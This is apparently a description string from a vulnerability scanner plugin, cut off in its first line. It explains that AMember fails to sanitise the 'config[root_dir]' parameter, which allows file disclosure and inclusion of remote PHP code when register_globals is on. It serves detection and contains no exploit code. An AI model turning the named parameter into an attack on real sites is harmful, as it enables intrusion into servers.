"The remote host appears to be running AMember, a commercial membership

The version of AMember installed on the remote host fails to properly
sanitize user-supplied input to the 'config[root_dir]' parameter
before using it in several scripts to include PHP code.  Provided
PHP's 'register_globals' setting is enabled, an attacker may be able
to leverage these flaws to view arbitrary files on the remote host and
execute arbitrary PHP code, possibly taken from third-party hosts." );
